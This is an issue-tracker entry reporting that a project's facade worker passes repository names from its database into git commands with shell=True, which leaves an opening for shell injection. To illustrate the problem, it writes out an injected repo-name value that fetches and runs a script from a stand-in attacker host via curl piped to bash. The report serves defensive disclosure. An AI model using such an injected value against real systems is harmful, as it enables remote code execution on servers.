shell=True could lead to injection in Facade Worker
Open
security
task:facade
- Dominant language
- Python
- Stars
- 13
- Forks
- 17
- Avg merge
- 6h 59m
- Merged PRs (30d)
- 1
Description
> [!NOTE]
> Migrated from [augurlabs/augur#3577](https://github.com/augurlabs/augur/issues/3577)
> Originally opened by `@guptapratykshh` on 2026-01-15
---
our facade worker executes git commands using shell=True with repository data from the database. this means if someone adds a malicious repo name like-
innocent-repo, curl attacker.com/malware.sh | bash
our server will execute both git command and malicious code.
it is present in config.py (line 285)
function- run_git_command(), called from- repofetch.py and other facade operations
Contributor guide
Assessment
This issue has not been assessed yet.